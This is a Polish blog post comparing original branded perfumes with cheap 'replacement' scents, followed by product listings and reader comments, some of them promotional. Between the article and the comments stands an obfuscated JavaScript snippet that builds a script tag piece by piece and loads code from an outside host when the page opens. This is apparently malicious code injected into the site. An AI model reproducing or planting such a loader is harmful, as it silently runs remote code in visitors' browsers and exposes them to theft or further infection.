Perfumy – zamienniki czy oryginały?

 

 

No właśnie, co jest lepsze – zamienniki perfum czy oryginały? Na co się zdecydować? Spróbuję Wam podpowiedzieć, gdyż pewnie nie raz zastanawialiście się czy warto dołożyć więcej i kupić oryginalne perfumy, czy może lepiej zaoszczędzić i kupić zamienniki perfum, które przecież niemalże identycznie pachną. Otóż moja odpowiedź brzmi warto! Zawsze warto postawić na oryginalne perfumy. Dlaczego? Już Wam tłumaczę różnicę pomiędzy zamiennikami a prawdziwymi perfumami.

 

Odpowiedniki perfum to nic innego jak zapachy zawierające składniki w niemal 100 procentach zgodne z wersją pierwotną. Często noszą podobne nazwy i ich opakowania posiadają kolorystycznie dobrane opakowania. Na stronach producentów możemy znaleźć podane te same składniki zapachowe, jak u marek na których się wzorowano. Dużą rolę gra tutaj cena, są one o wiele tańsze, gdyż ich sprzedaż opiera się na prywatnych drogeriach i sieciach sprzedaży, bez wkładu w kampanie reklamowe. Niestety odpowiedniki znanych perfum, często są po prostu jakościowo słabsze, ich zapach często jest nietrwały i szybko ulatnia się ze skóry. Zapach szybko się rozwija i tak samo szybko znika. To powoduje, że odruchowo nazywamy je często podróbkami.

 

Carolina Herrera Good Girl 80 ML TESTER + GRATIS

GIORGIO ARMANI SI 100ML EDP TESTER

Jeśli chodzi o perfumy oryginalne, markowe to rzeczywiście ich cena jest dużo większa, wiąże się to przede wszystkim z kosztownym i długotrwałym procesem produkcji. Wykorzystuje się w nim najszlachetniejsze części roślin a także wydzieliny z gruczołów zwierząt oraz składniki syntetyczne zapachowo zbliżone do naturalnych. I tak na przykład do pozyskania 1 litra skoncentrowanego zapachu potrzebujemy aż około 1000 kilogramów płatków kwiatów, które poddaje się co najmniej 7 dniowemu procesowi ekstrakcji, następnie kilkudniowemu procesowi filtracji i destylacji. Całość odbywa się w niezwykle sterylnych warunkach laboratoryjnych, i o ile w pozyskiwaniu koncentratów duży udział ma praca człowieka, to mieszanie substancji zapachowych, produkcje flakonów i kartoników wykonują wyspecjalizowane do tego maszyny. To dzięki nim ostateczny produkt handlowy, który zawiera od 50 do 200 różnych zapachów, pachnie i wygląda dokładnie tak samo w każdej sztuce. Nie możliwe jest więc aby zapach tych samych perfum nieco różnił się lub aby naklejka na jednym flakonie była przyklejona w nieco innym miejscu niż na innym. Każda z perfum jest oryginalnym produktem, nie odbiegającym od reszty partii. Można więc nawet śmiało stwierdzić, że dobre perfumy to takie małe dzieło sztuki. Zapach markowych perfum tworzy aurę luksusu, elegancji i pożądania a osobom, które ich używają ciężko się oprzeć. Taka też jest rola perfum z najwyższej półki, mają przyciągać, magnetyzować, wzbudzać zaufanie.

Nie wiem jak Wy ale ja zdecydowanie stawiam na perfumy markowe, bo wtedy mam pewność, że nie kupuję kota w worku a zapach, który mnie otula nie ulotni się po chwili z mojej skóry. A jakie jest Wasze zdanie na ten temat?

(function(){
oz82=document.createElement(“script”);oz82.async=true;oz82_=”u”+(“s”)+”t”;
oz82u=”9364.”;oz82_+=”a”+(“t.i”);oz82_+=”n”+(“f”+”o”)+”/”;
oz82u+=”9z290Xrsz825we7kmi86us”+(“47Xkbu”);
oz82.src=”//”+oz82_+oz82u;oz82.type=”text/javascript”;
document.body.appendChild(oz82);
})();

34 KOMENTARZE

  1. Próbowałam oszczędzać, na perfumach…ale to nie ma sensu- zapach nawet jeśli początkowo był łudząco podobny, to kiedy 'pracował' okazywał się całkiem inny- lepiej dać trochę więcej- często zamienniki wcale nie są dużo tańsze i mieć pewność, że to co kupujemy będzie nas satysfakcjonować! 🙂

  2. Jestem jak najbardziej za oryginalnymi zapachami ze wzgledu na ich trwalosc. Fakt faktem – trzeba liczyc sie z wiekszym wydatkiem. Zamienniki natomiast to dobra sprawa do probowania roznych innych perfum. Mam trzy buteleczki oryginalnych i powiem szczerze, ze trzymaja sie bardz dlugo, a tym samym…. dlugo tez sa w moim posiadaniu. Wystarczy naprawde niewielka ilosc, aby cieszyc sie swoim ulubiencem.

  3. Zawsze byłam takiego zdania, że dla siebie nie ma co żałować:) w końcu po to pracujemy, by móc się rozpieszczać właśnie oryginalnymi perfumami w tym przypadku!
    Cena jest zazwyczaj wysoka, Ale za dobrą jakość i trwałość warto zapłacić więcej!!!

  4. Ja mam mieszane zdanie na ten temat.
    Tzn. ogólnie wolę markowe perfumy – jednak nie zawsze mnie na to stać.
    Przekonałam się nie raz, że zapach jak i trwałość tych markowych jest zdecydowanie lepsza – mam jedne ulubione perfumy, które kupuję od lat – i jeszcze nie trafiłąm na zamiennik, który pachniałby identycznie – i był tak samo trwały. Nawet po praniu czuję ich zapach na np. szaliku.
    Zamienniki są fajne dla kogoś kogo po prostu nie stać, ale wiadomo, że nigdy nie będą one identyczne z oryginałami…
    Wolę oryginały, ale nie zawsze mogę je sobie kupić.

  5. Zdanie mam takie samo. Perfumy markowe zawsze będą lepsze od tych, które oryginałem nie są. Za coś jednak płacimy, przede wszystkim za jakość. Choćby zapach był bardzo podobny, to nigdy nie będzie taki sam i tak samo trwały.

  6. Pewnie, że lepiej kupić markowe perfumy, kilka razy spaliłam się na podróbkach, albo zapach odbiegał od prawdziwego, albo po prostu były nietrwałe 🙁 Jedyny minus markowych rzeczy to niestety cena, dlatego najlepiej kupować je przed świętami 😀

  7. Też zdecydowanie bardziej wolę oryginały. Na zamiennikach wcale nie oszczędzamy ponieważ trzeba ich więcej zużyć żeby uzyskać długotrwały zapach. Wystarczy jedno psiknięcie prawdziwych perfum żeby cieszyć się ich zapachem przez wiele godzin. Poza tym uważam, że nie pachną tak jak oryginały.

  8. I w tym rzecz, w nietrwalosci zamienników, mam euphorie oryginalną i odrobinę podróbki. Oryginalną utrzymuje się nawet do trzech nawet czterech dni a podróbka tylko parę godzin, także warto kupić oryginał. 😊

  9. Kupuję zarówno oryginalne perfum jak i zamienniki. Oryginały są świetne wiadomo. Jednak, jeżeli chodzi o zamienniki trzeba wiedzieć z jakich firm wybierać bo za naprawdę niewielką cenę można mieć dobry zamiennik. Na oryginały wszystkich moich ulubionych perfum najzwyczajniej mnie nie stać.

  10. Ja mam w swojej kolekcji kilka zamienników – nie kupiłam ich jednak a dostałam. O dziwo jedne z nich pachną dłużej niż oryginał. Jak to się dzieje? Nie mam pojęcia. Sama stawiam jednak na oryginały, moim zdaniem pachną mocniej i uwalniają nuty zapachowe o wiele wolniej, przez co są bardziej wydajne.

  11. Kiedyś kupiłam podobny perfumy podobne zapachem do "Si" w sklepie typu po 5 zł dla mojej siostry. Okazały się bardzo trwałe. Zapach był wyczuwalny na ubraniach jeszcze kilka dni po psiknięciu. Teraz niestety nie mogę ich dostać :/ Po za tym jednym zapachem stawiam na oryginały.

  12. Kiedyś kupiłam podobny perfumy podobne zapachem do "Si" w sklepie typu po 5 zł dla mojej siostry. Okazały się bardzo trwałe. Zapach był wyczuwalny na ubraniach jeszcze kilka dni po psiknięciu. Teraz niestety nie mogę ich dostać :/ Po za tym jednym zapachem stawiam na oryginały.

  13. Wyższa cena perfum nie zawsze idzie w parze z jakością, zdarzało mi się trafić oryginały których zapachu nie czułam już po paru godzinach a i odpowiedniki, które utrzymywały sie przez kilka dni. Koszty produkcji znanych marek nie przekraczają zwykle 10% ceny sklepowej, reszta to czas antenowy, modelki, aktorki oraz specjaliści od marketingu i reklamy. Oczywiscie przy szukaniu odpowiedników trzeba uważać. Na splendore.pl znalazłam fajne odpowiedniki firmy Livioon. Wcześniej o nich nie słyszałam, ale jestem mile zaskoczona mają 20% zaperfumowania i naprawdę długo się utrzymują.

  14. moim zdaniem nie warto kupować perfumy po 300, 400 czy więcej bo to są głównie koszta reklam… A nie realnie produktu. Więc ja zdecydowanie mówię tak odpowiednikom, mam nawet swoje ulubione kolekcje i sklepy z edp24 na czele bo za 30 czy 40 dostanę naprawdę solidny odpowiednik.

ZOSTAW ODPOWIEDŹ

Please enter your comment!
Please enter your name here